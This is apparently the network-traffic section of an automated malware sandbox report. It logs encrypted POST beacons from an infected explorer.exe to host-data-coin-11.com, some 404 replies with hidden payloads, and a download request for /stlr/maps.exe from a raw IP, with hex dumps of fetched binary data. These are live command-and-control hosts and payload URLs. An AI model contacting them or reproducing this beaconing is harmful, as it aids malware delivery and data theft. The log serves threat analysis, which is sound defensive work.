Dec 28, 2021 05:19:29.004678011 CET	12485	IN	Data Raw: 00 76 00 69 00 6d 00 00 00 4b 69 62 20 72 65 76 6f 6d 75 76 75 66 69 62 6f 20 6d 69 79 69 66 20 79 75 66 6f 62 65 68 00 00 53 75 67 6f 66 69 63 61 6c 61 6c 75 6a 20 74 75 70 65 6d 69 63 6f 62 61 00 00 00 00 54 6f 67 20 62 65 6d 61 6c 20 7a 75 6d Data Ascii: vimKib revomuvufibo miyif yufobehSugoficalaluj tupemicobaTog bemal zumesuyamop zemim xuzaxaruroluZumohodove linucasuxadefi dunixoxehevavohupezigisilegurazemalugisifbuvamisRa
Dec 28, 2021 05:19:29.004740000 CET	12486	IN	Data Raw: 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 31 30 2e 30 5c 56 43 5c 69 6e 63 6c 75 64 65 5c 73 74 72 65 61 6d 62 75 66 00 00 00 00 00 00 00 00 10 ab 40 00 13 91 49 00 02 86 49 Data Ascii: m Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf@IIIIIII,IQIIII!I&I)Ibad locale nameC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocaleC:\Program
Dec 28, 2021 05:19:29.004801035 CET	12488	IN	Data Raw: 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 f4 1f 40 00 ec 1f 40 00 e8 1f 40 00 e0 1f 40 00 d8 1f 40 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 Data Ascii: oreCRTNormalFree@@@@@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at file %hs line %d.f:\
Dec 28, 2021 05:19:29.004920959 CET	12489	IN	Data Raw: 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 00 26 00 26 00 20 00 70 00 48 00 65 00 61 00 64 Data Ascii: kUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memo
Dec 28, 2021 05:19:29.004981041 CET	12490	IN	Data Raw: 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 45 4e 44 2e 0a Data Ascii: urn value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDBG_REPORT
Dec 28, 2021 05:19:29.005039930 CET	12492	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2021 05:19:29.005095959 CET	12493	IN	Data Raw: b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 28, 2021 05:19:29.005150080 CET	12494	IN	Data Raw: 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 73 65 74 6c 6f 63 61 6c 2e 63 00 00 00 73 00 65 00 74 00 6c 00 6f 00 63 00 61 00 6c 00 65 00 00 00 00 00 00 00 4c 00 43 00 5f 00 4d Data Ascii: :\dd\vctools\crt_bld\self_x86\crt\src\setlocal.csetlocaleLC_MIN <= _category && _category <= LC_MAXstrncpy_s(lctemp, (sizeof(lctemp) / size
Dec 28, 2021 05:19:29.068264008 CET	12496	IN	Data Raw: 00 20 00 28 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 00 73 00 2d 00 3e 00 73 00 7a 00 43 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 29 00 20 00 2f 00 20 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 Data Ascii: (sizeof(names->szCodePage) / sizeof(names->szCodePage[0])), locale, len)strncpy_s(names->szCountry, (sizeof(names->sz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49825	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:31.576612949 CET	13362	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yifcjya.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: host-data-coin-11.com
Dec 28, 2021 05:19:31.576708078 CET	13362	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 85 66 5d 02 c9 a1 c1 64 0d df 81 3a Data Ascii: 7xG5f0@^wmDu$f]d:BF6`Z9sj<9][l_Pu1cC
Dec 28, 2021 05:19:31.697882891 CET	13363	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49826	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:31.795116901 CET	13363	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxxfahr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: host-data-coin-11.com
Dec 28, 2021 05:19:31.795137882 CET	13364	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 4b a8 a3 7b Data Ascii: 7xG5f0@^wmDu$f]dK{arh`d4DgW_at\|c0AR$lizt(DKT{cV Vd9DVAkN[0&m%~:dtz9HOU(hBTW
Dec 28, 2021 05:19:31.913069010 CET	13364	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49827	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.011007071 CET	13365	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vfpht.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.011027098 CET	13365	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 33 a1 b8 24 Data Ascii: 7xG5f0@^wmDu$f]d3$0g GHwe_8]0HMs G>Le)JU>2K";yIo[8!Y8DO[q d19Eylr/&tIg(]k+"!H%~01
Dec 28, 2021 05:19:32.129422903 CET	13365	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49828	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.264918089 CET	13366	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://adqghmyhj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.264934063 CET	13366	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 42 90 d3 0e Data Ascii: 7xG5f0@^wmDu$f]dB{w,kgVYqMYdWzxeXa,&Q2
Dec 28, 2021 05:19:32.375880957 CET	13367	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49745	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:39.966197014 CET	1168	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vnfvs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 363 Host: host-data-coin-11.com
Dec 28, 2021 05:18:39.966238022 CET	1168	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 5e b7 c4 2c Data Ascii: 7xG5f0@^wmDu$f]d^,!WlqG?~sM:=ENoO~i!80RD6E80ef+U7(gCP%YN7&`yI,0DGazJ*zIBM~e`WcA3
Dec 28, 2021 05:18:40.074943066 CET	1168	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49829	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.474684000 CET	13367	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hujcrsouk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 126 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.475311041 CET	13368	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 1a c9 8c 6f Data Ascii: 7xG5f0@^wmDu$f]do2D\|^@c]T6xUi:6Fy=\|+z
Dec 28, 2021 05:19:32.587661028 CET	13368	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49830	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.721321106 CET	13369	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mketq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.721376896 CET	13370	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 39 82 d1 15 Data Ascii: 7xG5f0@^wmDu$f]d92qtUuG>951?b<:Vau@>h,eo N&ZQM'Q5) ]'2E"dO'Li3KV_+LXQ1`lxm*,y~G
Dec 28, 2021 05:19:32.863799095 CET	13370	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49831	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.025895119 CET	13371	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nlilrsybs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.025991917 CET	13372	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 1c cc c0 00 Data Ascii: 7xG5f0@^wmDu$f]dHkssr j=jLRb8?0-M05\|-Q;fA)L,8X3,vD ~E >1M3nz$>%7c[O5(:IkhCM&
Dec 28, 2021 05:19:33.138377905 CET	13372	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49832	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.229165077 CET	13373	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mpbvjio.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.229221106 CET	13373	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 36 a2 8a 1f Data Ascii: 7xG5f0@^wmDu$f]d6!;V^TH:(zkk38DR<-1AbNfZq/D0LXhdhT<5mhb4G`1N;K9E7EYF3B:u
Dec 28, 2021 05:19:33.343810081 CET	13374	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49833	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.483509064 CET	13375	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yqtmbdjjxy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.483522892 CET	13375	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 1c aa a6 13 Data Ascii: 7xG5f0@^wmDu$f]d<'ZBO>=iFc(p1o#DG&mPS}F=T[GrZ:Hl6CqnZ0HucsI3i/>euyyg$uUeymvD
Dec 28, 2021 05:19:33.604460955 CET	13375	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49834	91.243.44.128	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.674248934 CET	13376	OUT	GET /stlr/maps.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 91.243.44.128
